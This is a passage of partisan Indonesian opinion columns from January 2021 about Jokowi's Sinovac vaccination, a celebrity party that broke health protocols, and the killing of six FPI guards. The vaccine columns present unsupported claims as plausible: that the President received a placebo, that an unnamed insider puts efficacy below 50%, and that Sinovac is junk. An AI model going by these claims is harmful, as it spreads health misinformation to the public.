kebohongan yang dilakukan oleh Ratna Sarumpaet, yang kemudian dihukum penjara selama dua tahun, maka bila Presiden yang melakukan hal serupa, juga tidak boleh kebal hukum. Delik pelanggaran yang dikenakan kepada Ratna Sarumpaet adalah penyebaran berita bohong Pasal 14 ayat (1) UU No 1 tahun 1946 tentang Peraturan Hukum Pidana. Tuduhan kepada Ratna Sarumpaet dikaitkan pula dengan Pasal 28 Jo Pasal 45 UU ITE. Untuk itu, Penelusuran secara transparan dan obyektif untuk menyimpulkan bahwa penyuntikan vaksin sinovac kepada Presiden itu benar, salah, ataupun suatu kebohongan menjadi sangat penting, mengingat akibat hukum yang ditimbulkannya. Pertanyaannya kini adalah mungkinkah pihak-pihak yang terlibat berani memberi pengakuan atau kesaksian di bawah sumpah? Atau mungkin perlu dibentuk Tim Pencari Fakta (TPF) Independen untuk menyelidiki kasus vaksinasi vaksin sinovac kepada Presiden Jokowi ini? Memang lucu juga jadinya, tetapi apa sih yang tidak lucu di negeri ini? Terlalu banyak pemimpin yang menjadi pelawak suntik,,, eh pelawak politik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Lima Episode Drakor Vaksin Rongsokan

DI negeri kita, apapun harus jadi drama. Pencopotan baliho dilakukan pasukan tempur terlatih. Pembubaran FPI pakai SKB enam menteri dan pejabat tinggi. Pemindahan Habib Rizieq Shihab (HRS) dari tahanan Polda Metro ke Bareskrim Polri dikawal aparat bersenjata laras panjang, layaknya menjaga pentolan teroris, bos mafia, atau gembong narkoba. Sementara itu, saat rapat kerja dengan Komisi VIII DPR, Menteri Sosial (Mensos) Tri Rismaharini membantah adanya tudingan blusukan politik yang dilakukan Mensos. Risma membantah dengan mata berkaca-kaca, suara bergetar, dan bersumpah dengan nama Tuhan. Penyuntikan vaksin perdana produksi Sinovac jadi drama teranyar besutan Istana. Rabu Wage 13 Januari 2021 ditetapkan sebagai hari baik. Selanjutnya, asesoris disiapkan. Emergency use authorization dari Badan Pengawasan Obat dan Makanan (BPOM) dikeluarkan. Fatwa halal dan suci dari Majelis Ulama Indonesia (MUI), dan sertifikat halal dari BPJPH. Lakon pun dimulai. Presiden Jokowi disuntik pertama. Publik memelototi detik-detik jarum suntik menusuk lengan kiri Presiden. Aneh juga. Prof. Abdul Muthalib, Wakil Ketua Tim Dokter Kepresidenan, yang sudah sangat berpengalaman, terlihat gemetar juga. Padahal Prof. Abdul Muthalin adalah dokter yang sangat senior. Seorang dokter di Cirebon mempersoalkan ukuran volume spuit yang cuma 1 cc. Posisi penyuntikan yang tidak tegak lurus, alias tidak intra-muskular. Sebagian cairan vaksin tertinggal di spuit. Memang PB IDI buru-buru membantah klaim anggotanya itu. Tetapi publik sudah kadung punya alasan kuat untuk meragukan adegan tersebut. Judul dramanya, “Jangan-jangan Ada Dusta di Antara Kita”. Mood publik soal vaksin tambah rusak gegara polah tak senonoh pesohor Raffi Ahmad. Setelah paginya didapuk ikut menerima vaksin perdana mewakili milenial, malamnya Raffi kedapatan bersuka-ria dalam sebuah pesta pribadi bersama sejumlah sosialita Jakarta, termasuk Ahok. Pesta dilaksanakan di sebuah rumah di kawasan elit Prapanca, tanpa protokol kesehatan. Istana kena tampar keras tepat di wajah. Kalau pemidanaan tidak dilakukan terhadap Raffi dan Ahok, bisa dipastikan publik mendapat satu bukti lagi bahwa pemidanaan HRS yang berawal dari sangkaan melanggar prokes, bukan soal penegakan hukum, melainkan dendam kesumat politik. Sampai di sini, judul dramanya “Habis Berkah, Terbitlah Musibah”. Sejatinya skenario drama sudah kacau sejak H-1. Dr. Ribka Tjiptaning, kader PDIP, yang statusnya sama dengan Pak Jokowi, yaitu petugas partai, dalam Raker dengan pemerintah yang diwakili Menteri Kesehatan, frontal menolak vaksin Corona. Walaupun klaim-klaim yang dia kemukakan vaksin banyak menimbulkan masalah. Vaksin polio menyebabkan lumpuh layu, vaksin filariasis menewaskan 12 orang. Vaksin Sinovac belum melewai uji klinis tahap III. Jelas saja tidak valid. Tetap saja publik menikmati sensasi aktingnya yang berapi-api. Apalagi di Raker lanjutan, sehari sesudah vaksinasi perdana, Ribka menuding vaksin Sinovac adalah barang rongsokan. Publik jadi bertanya-tanya, apa maksud tersirat dibalik lakon yang dipentaskan oleh dr. Ribka Tjiptaning tersebut? Bisa jadi ini kode keras dari PDIP, yang tidak diajak dalam proses pengadaan vaksin. Padahal konon anggaran yang disediakan untuk pengadaan Vaksin Sinovac bernilai besar, yaitu USD 1,49 miliar, atau setara dengan Rp. 20,9 trilyun. Bisa juga ini adalah upaya PDIP membangun kesan peduli pada urusan rakyat, untuk memperbaiki citranya yang babak belur sebagai parpol terkorup. Apalagi setelah Juliari Batubara dicokok oleh Komisi Pemberantasan Korupsi (KPK) dalam urusan korupsi Bantuan Sosial (Bansos). Di sini judul drama berganti jadi “Sekali Bersuara Lantang, Dua-Tiga Aib Tertutupi”. Ternyata drakor vaksin Covid-19 tidak hanya pentas di panggung utama. Panggung samping pun punya cerita. Brasil merevisi tingkat efikasi vaksin Sinovac, dari 78%, menjadi hanya 50,4%. Artinya, cuma sedikit di atas batas minimum yang ditetapkan WHO. BPOM memang merilis data interim efikasi 65,3%. Tapi insider informan berbisik, angka sesungguhnya di bawah 50%. Menurut epidemiolog Universitas Indonesia (UI), Pandu Riono mengatakan, efikasi yang rendah itu menunjukkan bahwa vaksin Sinovac tidak cukup efektif untuk mencegah dan mengendalikan penularan Covid-19. Bahkan media asing memberitakan, Presiden Indonesia telah disuntik vaksin yang hasil uji klinisnya mengecewakan. Artinya, pemerintah memang membeli barang rongsokan. Untuk apa? Atau lebih tepatnya, untuk menguntungkan siapa? Episode ini judulnya “Belilah Daku, Kau Kutipu”. Masih ada satu episode lagi. Profesor Hukum dari kampus Bulak Sumur, yang baru seumur jagung jadi Wamenkumham, Edward Hariej mengancam “rakyat yang menolak vaksin bisa dipidana hingga satu tahun penjara dan/atau denda sampai 100 juta rupiah”. Lalu ramai orang mengkritik dan menghujat newbie di kabinet ini, mulai dari pakar hukum, hingga mantan komisioner Komnas HAM. Bahkan Bung Natalius Pigai mempertanyakan di mana Hariej sekolah? Sampai Hariej tidak mengerti penerapan UU Kekarantinaan Kesehatan. Yang parah, beberapa pejabat negara pun menafikkan pernyataan Hariej, termasuk bosnya, Menkumham Yasonna Laoly. Menkes Budi Gunadi Sadikin juga mengatakan, Hariej sudah ditegur di Rapat Kabinet. Nah, episode drama yang ini enaknya diberi judul “Tebar Ancaman, Tuai Hujatan”. Lama-lama rakyat jadi biasa, dan menerima saja peran Istana sebagai penulis skenario, sekaligus sutradara, drakor, alias drama kotor, yang tak ada habisnya. Termasuk dalam urusan vaksin kaleng-kaleng buatan China ini. Bahkan bisa jadi mereka ketagihan, menunggu-nunggu kelanjutannya, sekedar untuk memancing tawa, agar imunitas meningkat dalam menghadapi virus Corona. Jangan-jangan memang itulah tujuan Istana menggelar drakor ini. Agar rakyat senang, dan bisa terbahak bersama, sehingga melupakan enam jiwa warga negara yang melayang di kilometer 50 Tol Jakarta-Cikampek (Japek), anggaran penanganan Covid-19 yang jadi bancakan partai-partai, dan demokrasi kriminal mahal yang dikendalikan para taipan.

Langgar Prokes, Raffi Ahmad dan Ahok Harus Ditangkap!

by Mochamad Toha Surabaya, FNN - Ulah selibritas Raffi Ahmad “happy-happy” tanpa prokes, membuat Presiden Joko Widodo kini dalam dilema. Bagaimanapun itu sebuah pelanggaran. Apalagi, dia “duta vaksin” yang menemani Jokowi vaksin perdana. Masyarakat akan mencermati, apakah ada tindakan hukum yang keras seperti halnya kepada Habib Rizieq Shihab. Konsistensi terhadap penegakan hukum yang imparsial kembali diuji. Dampaknya bisa sangat serius bagi program Jokowi melawan Covid-19. Benar-benar serius atau sekadar “basa-basi” sok serius? Pasalnya, ada beberapa kasus terkait kerumunan saat pandemi Covid-19 ini, mesti tak menerapkan protokol kesehatan, ternyata tak diproses hukum, kecuali hanya berlaku kepada HRS dan FPI. Keraguan masyarakat semakin bertambah terhadap program vaksinasi, karena duta vaksinnya sendiri justru melanggar prokes. Apalagi, pelanggaran itu dilakukan bersama Basuki Tjahaja Purnama alias Ahok, Komisaris Utama PT Pertamina. Acara pesta ulang tahun yang dihadiri Raffi hingga pejabat seperti Ahok di wilayah Prapanca, Mampang, Jakarta Selatan pada Rabu (13/1/2021) itu dipastikan polisi tak berizin. “Yang pasti dari pihak kepolisian tidak ada menerima pemberitahuan, tidak mengeluarkan izin,” kata Kapolsek Mampang Kompol Sujarwo, seperti dilansir CNNIndonesia.com, Kamis (14/1/2021). Sujarwo mengaku pihaknya kesulitan mendeteksi kegiatan yang terjadi di wilayah tersebut. Menurutnya, pesta yang kemudian diduga melanggar prokes Covid-19 itu digelar di rumah pribadi. “Itu rumah pribadi ya, bukan cafe dan sebagainya,” ujarnya. Menurut Sujarwo, berdasarkan informasi awal yang dihimpun kepolisian, pesta itu dihadiri sekitar 30 orang. Mobil-mobil para tamu, lanjutnya, juga terparkir di dalam rumah sehingga tak menutupi jalan dan memperlihatkan tanda-tanda terjadinya kerumunan. Sebagai informasi, lokasi tersebut merupakan kediaman dari pembalap Muhammad Sean Ricardo Gelael. Dalam acara itu, sejumlah selebritas dan pesohor hadir, mulai dari Raffi Ahmad, Once, Gading Marten, hingga Ahok. Kisruh ini bermula ketika selebgram Anya Geraldine mengunggah foto di Instagram Story, Rabu (13/1/2021) malam. Dalam foto itu, terlihat Raffi, Nagita Slavina, Anya Geraldine, Sean Gelael, dan Gading Marten, berpose berdempetan tanpa mengenakan masker. Raffi pun langsung dibanjiri kritik dari berbagai pihak. Ia menjadi sorotan lantaran mengikuti pesta tanpa mematuhi protokol kesehatan Covid-19. Di saat yang sama, pihak Istana Kepresidenan menegur Raffi karena kedapatan melanggar protokol kesehatan beberapa jam setelah menjalani vaksinasi Covid-19 bersama Presiden Joko Widodo. Kepala Sekretariat Presiden Heru Budi Hartono mengatakan pihaknya telah berkomunikasi dengan Raffi agar kembali menerapkan prokes. “Sudah diingatkan kembali oleh tim komunikasi covid-19 untuk tetap pakai masker, cuci tangan, jaga jarak,” kata Heru kepada CNNIndonesia.com, Kamis (14/1/2021). Mengapa cuma diingatkan, tidak “diperintahkan” diproses hukum dengan penahanan? Meski polisi, kabarnya, sedang menyelidiki pesta di rumah pembalap Sean Gelael tersebut! Jika polisi berani menahan Raffi dan juga Ahok, pasti rakyat akan acung jempol! Toh, tidak bakal ada “penembakan” seperti yang dialami oleh 6 laskar FPI yang mengawal HRS, Minggu-Senin, 6-7 Desember 2020, hingga tewas. Di sini keseriusan polisi benar-benar diuji. Padahal, persoalannya juga sama: melanggar prokes Covid-19! Seperti halnya Raffi, meski pesta itu diadakan bukan di rumahnya, sebagai duta vaksin, dia seharusnya memberi contoh yang baik. Apalagi, Ahok yang pejabat negara. Tidak seharusnya memberi “contoh buruk” ikutan kumpul bareng selibritas seperti Raffi dkk. Raffi Ahmad sendiri telah buka suara terkait ikut serta dirinya dalam pesta setelah divaksinasi Corona perdana. Raffi meminta maaf atas tindakannya. Permintaan maaf itu disampaikan Raffi di akun Instagram-nya, Kamis (14/1/2021). Raffi mulanya menyampaikan permintaan maaf kepada Presiden Jokowi dan seluruh masyarakat Indonesia. “Terkait peristiwa tadi malam, di mana saya terlihat berkumpul dengan teman-teman tanpa masker dan tanpa jaga jarak, pertama saya minta maaf yang sebesar-besarnya kepada Presiden Republik Indonesia Bapak @jokowi,” tutur Raffi Ahmad. Juga kepada Sekretariat Presiden, KPCPEN, dan kepada seluruh masyarakat Indonesia atas peristiwa itu. Raffi menjelaskan peristiwa yang terjadi itu merupakan keteledoran dan kesalahannya. Dia pun berjanji ke depannya akan lebih mematuhi protokol kesehatan. “Jujur bahwa kejadian tadi malam adalah murni karena keteledoran saya, karena kesalahan saya. Ke depan, saya akan lebih menaati protokol kesehatan 3M (memakai masker, menjaga jarak, mencuci tangan),” tulisnya. “Saya juga berharap teman-teman dan seluruh masyarakat Indonesia agar terus menjalankan protokol kesehatan, meskipun vaksinasi sedang berjalan. Vaksin dan protokol kesehatan adalah satu kesatuan,” papar Raffi. Sebelumnya, perlakuan serupa diterima 2 bos Waterboom Lippo Cikarang, Kabupaten Bekasi yang dijadikan tersangka pelanggaran prokes. Keduanya tidak ditahan. Mereka dikenakan pasal dengan ancaman maksimal hukumannya 1 tahun penjara. Dua orang petinggi Waterboom Lippo Cikarang yakni General Manager Waterboom Lippo Cikarang Ike Patricia dan Manager Marketing Waterboom Lippo Cikarang, Dewi Nawang Sari ditetapkan sebagai tersangka kasus dugaan tindak pidana kekarantinaan. Proses hukum kepada 2 orang tersebut bermula dari adanya kerumunan di Waterboom Lippo Cikarang pada Minggu (10/1/2021). Mereka berdua tidak ditahan polisi. Andai HRS sebagai pemilik Waterboom Lippo Cikarang seperti James Riady, pastilah aman. Andai HRS seorang selebritas seperti Raffi dan pejabat negara seperti Ahok, pastilah tidak akan dikenakan pasal “penghasutan”. Inilah fakta hukum di Indonesia! Penulis adalah Wartawan Senior FNN.co.id.

Percayalah, Kasus Pembunuhan 6 Pemuda Itu Bakal Lenyap Juga

by Asyari Usman Medan, FNN - Putus harapan tak boleh. Pesimis wajar. Begitu mungkin advis terbaik dalam melihat destinasi kasus pembunuhan sadis 6 warga negara Indonesia yang berstatus sebagai anggota FPI. Mereka ditembak mati oleh aparat negara dalam insiden penguntitan rombongan Habib Rizieq Syihab (HRS) di jalan tol Jakarta-Cikampek pada 7 Desember 2020. Masih adakah harapan penegakan keadilan? Per hari ini, harapan masih ada. Sebab, pembunuhan itu tetap menjadi salah satu topik pembicaraan luas di kalangan media dan warga internet (netizen). Sorotan ke pemerintah sebagai penyelenggara penegakan keadilan, masih sangat kuat. Rekomendasi yang dikeluarkan oleh Komisi Nasional Hak Asasi Manusia (Komnas HAM), saat ini sedang hangat diperdebatkan. Ketua Komnas, Ahmad Taufan Damanik, sudah menyampaikan langsung temuan, kesimpulan, dan rekomendasi kepada Presiden Jokowi, Kamis (14/1/2021). Meskipun rekomendasi itu disambut publik waras dengan perasaan kecewa. Kecewa karena ada kesan Komnas tak berani apa adanya. Presiden memerintahkan agar rekomendasi Komnas HAM ditindaklanjuti. Secara normatif, pernyataan Jokowi ini cukup untuk membangkitkan semangat optimistik bahwa pembunuhan ini akan diadili sebersih mungkin. Cuma, harap diingat, pengalaman masa lalu menunjukkan penyelesaian kejahatan HAM selalu kandas. Khususnya kasus-kasus yang menyeret nama-nama besar yang bisa melakukan apa saja. Kalau pun tidak kandas, sangat lumrah penyelesaiannya didasarkan pada inspirasi, bukan esensi. Kasus penyiraman air keras terhadap penyidik senior KPK, Novel Baswedan, adalah salah satu contoh penyelesaian yang dipenuhi banyak inspirasi. Esensi kasus Novel tak muncul sama sekali. Tertutup oleh inspirasi.. Publik berharap, proses lanjutan perkara pembunuhan yang masuk kategori “pelanggaran HAM” (bukan pelanggaran HAM berat) ini bisa bebas dari inspirasi pihak mana pun. Biarkanlah esensi peristiwa yang menjadi pedoman. Jangan ada naskah yang telah disiapkan oleh pihak tertentu yang akhirnya diikuti oleh pelaksana rekomendasi. Novel Baswedan berpendapat penyelesaian kasus penyiksaan terhadap dirinya penuh dengan inspirasi. Yaitu, inspirasi yang melindungi pihak yang memberikan perintah penyiraman air keras ke wajah Novel. Begitu juga pendapat para ahli dan publik tentang penyelesaian kasus pembunuhan aktivis HAM, Munir Said Thalib. Diduga kuat, seorang berpangkat jenderal terlibat pembunuhan Munir pada 7 September 2004 ketika dia dalam penerbangan dari Jakarta menuju Amsterdam dengan menumpang pesawat Garuda Indonesia. Majelis hakim yang mengadili kasus ini menghukum pilot Garuda, Pollycarpus Budihari Priyanto, sebagai pelaku pembunuhan. Dia bebas murni pada 29 Agustus 2018. Tidak penuh menjalani hukuman 14 penjara tahun. Hingga sekarang belum bisa diungkap aktor yang memberikan perintah kepada Pollycarpus. Pemberi perintah itu “wajib ada” karena sulit mencarikan alasan pilot Garuda itu menghabisi Munir. Sekarang, kasus Munir semakin gelap. Polly meninggal dunia belum lama ini karena Covid. Kisah-kisah penyelesaian yang penuh inspirasi seperti inilah yang mungkin akan membayangi penyelesaian kasu pembunuhan 6 pemuda FPI. Komnas HAM menyimpulkan 4 di antara 6 orang itu dibunuh sewaktu mereka berada di tangan aparat negara. Aparat negara harus bertanggung jawab. Tetapi, para aparat bawahan itu hampir pasti hanya mengikuti perintah atasan mereka. Mata rantai komando ini harus diuraikan dengan transparan. Jangan lagi ada “orang besar” yang disembunyikan. Perintah Presiden Jokowi agar rekomendasi Komnas HAM ditintaklanjuti, memang cukup membesarkan hati. Tetapi, rekomendasi dan implementasi adalah dua hal yang selalu bertolak belakang seperti selama ini. Proses hukumnya seringkali mengundang “distrust” (ketidakpercayaan) publik. Belum lagi dimulai proses tindak lanjut yang diusulkan Komnas HAM, publik sudah lebih dulu skeptis. Sejumlah netizen mengatakan, “Percayalah, kasus pembunuhan sadis 6 pemuda itu bakal lenyap juga.” Tapi, marilah tetap berharap dan mengawal kasus ini. Semoga tidak menguap pelan-pelan di makan waktu.[] Penulis adalah Wartawan Senior FNN.co.id.

Mengenang 40 Hari Laskar Dibunuh

Setiap muslim meyakini, doa anak yatim dan piatu, yatim piatu sangat cepat diterima oleh Sang Khalik, Allah Yang Maha Pengasih lagi Maha Penyayang. Demikian juga doa orang tua, terutama doa ibu kepada anak. by Mangarahon Dongoran Jakarta, FNN - SENIN dini hari, 7 Desember 2020 sekitar pukul 00.30, enam laskar Front Pembela Islam (FPI) tewas ditembak polisi. Mereka adalah bagian dari iring-iringan mobil pengawal Habib Rizieq Shihab dan kelurga yang akan mengikuti pengajian keluarga inti di sebuah tempat di daerah Karawang, Jawa Barat. Sejak menjelang subuh sudah ada informasi di media sosial, terutama di WatsApp yang mengabarkan adanya laskar yang hilang. Diduga, mereka diculik orang tidak dikenal. Namun, tabir kemudian dibuka Allah. Siang hari Kepala Kepolisian Daerah Metro Jaya, Fadil Imran mengumumkan bahwa anggotanya yang menembak enam laskar tersebut. Alasannya, karena melawan petugas dengan senjata api. Terjadi baku-tembak. Tapi, alasan itu kemudian berubah. Mereka ditembak (khusus empat orang yang dibawa ke mobil polisi tanpa diborgol atau tangannya diikat menggunakan tali) karena di dalam mobil berusaha merampas senjata polisi. (?) Apa pun alibi atau alasan yang dikemukakan, sangat sulit dipercaya karena saksi hanya sepihak, yaitu polisi yang masih hidup. Akan tetapi, sebagai manusia yang beragama, terutama agama Islam, kesaksian di dunia itu adalah tipu-tipu belaka. Kesaksian yang berat itu adalah di hadapan Allah yang menjadi hakim yang paling adil. Biarlah tempat peristirahatan KM 50 Jalan Tol Jakarta-Cikampek ditutup secara permanen dan selamanya menjadi saksi bisu. Akan tetapi, tempat itu beserta benda dan bangunan yang ada di sana kelak menjadi saksi di hadapan Allah. Biarlah pistol yang meletus menjadi saksi bisu di dunia. Kelak di akhirat akan menjadi saksi yang sebenarnya. Biarlah mobil laskar sudah rusak, dan mobil petugas yang membawa mereka masih utuh menjadi saksi bisu yang kelak berbicara di hadapan Allah. Biarkan semua jadi saksi bisu, termasuk aspal yang dilewati, ambulans yang mengangkut jenazah, rumah sakit tempat autopsi menjadi saksi bisu. Kelak semua akan bicara apa adanya di hadapan Allah. Biarlah di dunia mulut membela, tapi di akhirat mulut dikunci, tangan dan kaki bersaksi. Ingat Firman Allah dalam surat Yaasin ayat 65. Artinya, walau di dunia lolos dari hukuman, tetapi di akhirat tidak. Di akhirat, semua menjadi saksi, apakah pernyataan dan keterangan polisi yang benar atau sebaliknya salah. Apakah keterangan dan pernyataan FPI yang benar atau sebaliknya salah. Allah adalah hakim yang seadil-adilnya. Komisi Nasional Hak Azasi Manusia (Komnas HAM ) sudah mengeluarkan rekomendasi, pembunuhan terhadap enam orang laskar FPI itu adalah pelanggaran HAM. Harus diusut secara pidana. Artinya, dalam kasus ini pelaku pembunuhan harus dibawa ke peradilan umum, tidak cukup hanya atasan menghukum. Jumat, 15 Januari 2021 malam, kepulangan mereka ke Sang Khalik diperingati dengan mengadakan doa tahlil di rumah keluarga masing-masing. Ya, pengajian mengenang 40 hari mereka berpulang dengan senyum walau tubuhnya penuh dengan bekas penyiksaan. Yang jelas dan pasti, rata-rata mereka ditembak pada bagian dada dan jantung, menembus ke belakang. Pengajian atau tahlil 7 hari, 40 hari, 100 hari dan bahkan 1.000 hari adalah kebiasaan yang dilakukan umat Islam di Indonesia, terutama di Pulau Jawa yang mayoritas penganut Imam Syafi'i. Mazhab Imam Syaf'i jugalah yang dianut oleh Nahdlatul 'Ulama (NU). Jumlah penganut Imam Syafi'i yang tidak menjadi pengurus dan anggota NU secara struktural jauh lebih banyak. Mereka tidak tercatat secara struktural, tapi dikenal secara kultural NU, termasuk yang ada di FPI. Padahal, yang tidak tercatat di NU itu adalah pengikut Imam Syafi'i yang fanatik membaca doa qunut setiap salat subuh, zikir dan doa bersama, peringatan Maulid Nabi Muhammad, membaca surat Yasin setiap malam Jumat, dan kegiatan keagamaan lainnya. Itu juga yang dilakukan FPI yang setelah dibubarkan pemerintah, dan berganti nama menjadi Front Persaudaraan Islam. Masih ingat, peringatan Maulid Nabi Muhammad di Petamburan, Tanah Abang, Jakarta Pusat yang menjadikan Habib Rizieq Shihab menjadi tersangka. Sebagai informasi, ketika H Burhanuddin Lubis, ayah Ketum FPI Ahmad Sabri Lubis meninggal dunia pada 7 November 2019 dalam usia 83 tahun. Saat pemakaman di lingkungan Pesantren An-Nur, Ciseeng, Kabupaten Bogor, Jawa Barat, doa tahlilnya panjang. Tahlil malam ketujuh diselenggarakan di rumah almarhum. Sedangkan tahlil mengenang 40 hari diadakan di Pesantren An-Nur, tempat almarhum dimakamkan. Jamaah yang datang membludak. Semasa hidupnya, almarhum adalah penganut mazhab Imam Syafi'i tulen, dan sangat fanatik, walau menganut toleransi mazhab. Padahal, almarhum lulusan Universitas Al Azhar Kairo, Mesir. Sepanjang hidupnya, tidak pernah putus membaca surat Yaasin tiap malam Jumat, kecuali bulan Ramadhan. Tahlil juga dilakukan FPI, organisasi yang mengikuti mazhab Imam Syafi'i. Oleh karena itu, jangan heran jika HRS dan pengikutnya sering mengadakan tablig akbar, yang sudah pasti diisi dengan pembacaan solawat secara bersama, zikir dan doa juga bersama. Jadi, jangan benturkan antara NU dam FPI yang sama-sama penganut mazhab Imam Syafi'i. Terkecuali, karena kepentingan politik yang penuh intrik. Kembali ke tahlil. Tidak mengherankan jika keluarga enam pengawal HRS itu mengadakan di rumah masing-masing. Hal Itu karena pandemi corona yang menyebabkan PSBB di Jakarta dan kota-kota di sekitarnya. Andaikan tidak ada Pembatasan Sosial Berskala Besar (PSBB), dipastikan jamaah yang hadir dalam tahlil 40 hari itu akan membludak, walau diselenggarakan berpencar, di rumah keluarga masing-masing almarhum. Di Pondok Pesantren Alam Agrokultural Markaz Syariah, Mega Mendung, Kabupaten Bogor, Jawa Barat, tahlil hanya dilakukan oleh para santri dan ustaz yang tiap hari tinggal di sana. Doa Anak Yatin Sebab, daerah markas sudah ditutup untuk tamu lain, karena Kabupaten Bogor juga memberlakukan PSBB. Jika tidak dalam kondisi "ditutup" sudah dipastikan jamaah yang datang ke Markaz Syariah Mega Mendung berjubel. Hal ini mengingat lima jenazah laskar dimakamkan di area pesantren. Kepastian Markaz Syariah tertutup terhadap pihak luar disampaikan kepada Sabri Lubis melalui WA dari pengurus pesantren. "Wa Alaikum Salam Wr Wb. MS (maksudnya Markaz Syariah) sudah LOCKDOWN Ust Sobri karena di Bogor sedang ada PSBB hingga Tanggal 25, In Sya Allah MS akan buat. Namun Internal saja Dewan Guru & Santri. Sehingga siapa pun dilarang masuk. Jad mohon maaf karena kondisi tidak memungkinkan utk ada peliputan di dalam MS 🙏🙏." Itu kalimat WA yang disampaikan Sabri Lubis kepada FNN.co.id. Ya, walaupun tahlil 40 tidak terlalu ramai, namun mereka senantiasa didoakan oleh umat Islam. Apalagi, khatib Jumat yang mendoakan seluruh kaum muslimin dan muslimat, baik yang masih hidup apalagi yang sudah mati atau meninggal dunia. Doa dari keluarga enam laskar, terutama kedua orang tua, lebih khusus doa dari anak yang ditinggalkan, sangat dahsyat getarannya. Setiap muslim meyakini, doa anak yatim dan piatu, yatim piatu sangat cepat diterima oleh Sang Khalik, Allah Yang Maha Pengasih lagi Maha Penyayang. Demikian juga doa orang tua, terutama doa ibu kepada anak. Doa oran tua, anak yatim adalah doa yang tidak ditolak oleh Allah. Ketika mereka mengangkat tangan, malaikat penghuni langit bergetar, seraya ikut mengaminkan doanya.** Penulis adalah Wartawan Senior FNN.co.id.

Jokowi Yang Disuntik, Anak Tokoh PKI Curiga

PERISTIWA yang paling ditunggu publik adalah bagaimana reaksi medik terhadap kesehatan tubuh Presiden Jokowi setelah menjalani suntikan pertama vaksin Sinovak (asal China) di lengan kirinya, Rabu (13/01) lalu. Sebagian masyarakat dengan tingkat kecerdasan tertentu, menunggu dengan amat sangat. Malah ada yang cemas, dan itu mungkin saja. Sementara kelompok masyarakat lain dengan kecerdasan berbeda, lebih kritis, akan bersikap tenang. Tidak gupuh-gapah dan bingung. Karena sudah bisa menebak, pasti tidak terjadi apa-apa dengan Presiden Jokowi. Tidak akan jatuh sakit, pingsan misalnya. Apalagi sampai mati. Tidak mungkin itu. Jokowi agaknya, tengah memainkan trik propaganda “menang atau benar” di belakang. Sehingga lebih memiliki kualitas kebenaran tinggi. Bahkan lebih berarti. Sehingga tertancap opini publik, bahwa Jokowi adalah orang benar. Apalagi ini Presiden. Pandangan itu didasarkan pada penilaian dari khabar yang tersiar jauh hari sebelumnya, jika Jokowi dan beberapa pejabat tinggi negara ogah disuntik pertama kali vaksin dengan penangkal Covid-19 buatan negara komunis China itu. Bahkan pakar hukum Tata Negara, Refly Harun, dan beberapa kritikus lain sempat berlontar kata, Jokowi sebagai pemimpin harus bisa menjadi tauladan. Harus sanggup menjadi orang pertama yang bersedia disuntik vaksin. Nah, peristiwa Rabu lalu, penyuntikan Jokowi oleh Wakil Kepala Tim Dokter Kepresidenan, seakan-akan sebagai konfirmasi bahwa Jokowi bukan pengecut. Bukan juga pengkhianat. Jokowi adalah pemimpin yang bertanggung jawab atas keselamatan rakyatnya. Disini muncullah pembentukan opini publik, "Jokowi adalah pemimpin tulen. Berani mengambil resiko kematian sekali pun". Luar biasa hebatnya. Buktinya, tudingan miring para pengamat dan kritikus ternyata meleset semua. Tak terbukti. Namun begini. Segala hal yang berkaitan dengan penanganan sesuatu oleh pihak yang memiliki profesi tertentu, yang terjadi adalah sebuah kondisi dimana cuma pihak yang memiliki profesi yang menguasai persoalan. Sedangkan sisi pihak yang meminta tolong hanya bersandar kepada kenyataan “bergantung”. Karena memang tidak mengerti. Juga tidak mudeng. Misalnya, seseorang bermaksud memperbaiki sepeda motornya yang rusak. Entah kenapa, karena bukan ahlinya, maka motor itu dibawa ke sebuah bengkel motor. Padahal ngadatnya motor tersebut cuma karena businya yang sowak. Harganya murah. Apalagi kalu mau membeli sendiri. Namun karena pemilik motor bukan ahlinya, dibilang sama mekanik bengkel misalnya, kerusakan terjadi pada piston. Atau onderdil lain bagian dalam mesin. Pemilik motor dipastikan tidak tahu. Jangankan untuk memegang barang yang rusak. Melihat saja belum pernah. Maka pemilik motor tidak memiliki opsi lain, kecuali mengiyakan. Dalam praktek dunia suntik menyuntik. Pasti dilakukan oleh tenaga ahlinya, dokter atau para medis lainnya. Tidak ada pasien yang mengerti, obat atau cairan apa yang disuntikkan. Berapa cc seharusnya? Bagaimana reaksinya? Serta seluk-beluk dunia kedokteran lainnya. Semua tidak dikuasai oleh pasien. Nah, cairan yang disuntikkan ke lengan Presiden Jokowi itu apakah benar Sinovac? Boleh jadi itu cuma vitamin biasa yang memang tidak berefek frontal. Pingsan atau mati misalnya. Sebab, dalam dunia kedokteran dikenal dengan istilah plasebo. Plasebo adalah sebuah teknik pengobatan yang tidak memiliki dampak apa-apa. Lain kata, plasebo itu tindakan medis secara palsu yang bertujuan mengontrol efek dari pengharapan. Bisa jadi, Jokowi tengah berafirmasi. Atau melakukan testimoni di hadapan publik tentang mujarabnya Sinovac pabrikasi China komunis itu. Dengan harapan, setelah dia disuntik rakyat pun berbondong minta suntik tanpa rasa khawatir. Terlebih usai diinjeksi Jokowi bilang, "tidak terasa apa-apa". Anak tokoh PKI sekalipun mencurigai Presiden Jokowi terkait dengan persuntikan vaksin sinovac itu. Anggota Komisi IX DPR RI dari Fraksi PDIP, dr. Ribka Tjiptaning, anak gembong PKI, Soeripto Tjondro Saputro, menuding bahwa cairan yang disuntikkan ke tubuh Jokowi dan para tokoh lainnya, boleh jadi, bukanlah vaksin Sinovac. (law-justice.co, 14/01). "Bisa saja itu bukan Sinovac. Yang dikasih kan kita enggak tahu semuanya. Jangan ada dusta diantara kita," kata Ribka. Ribka pun mengaku sempat ditegur partainya, PDIP, terkait pernyataannya itu. Pandangan tersebut disampaikan Ribka, berlatar pengalamannya saat mengetahui adanya vaksinasi polio beberapa tahun lalu. Saat itu, kata Ribka, masyarakat sehat malah menjadi mati sebanyak 12 orang setelah mendapat vaksinasi polio. Majelis Ulama Indonesia (MUI) turut menstempel tentang kehalalan vaksin Sinovac. Namun, kembali ke atas. Halal atau tidak halal itu otoritas MUI. Sedangkan rakyat tidak pernah tahu, apakah barang tersebut benar-benar halal. Andai pun halal, bagaimana kemanjurannya? Publik dan kader-kader PDIP sangat faham kalau Ribka Tjitaning adalah kawan baik Presiden Jokowi. Apalagi separtai di PDIP. Namun jika kawan baik saja mencurigai perilaku Jokowi, itu pertanda Sinovac memang serius untuk dicurigai. Sementara, ahli epidemiologi, dr. Tifauzia Tyassuma, menurut repelita.co, 12/1, menolak injeksi vaksin Sinovac. Akademisi dan peneliti dari Lembaga Ahlina Institute ini 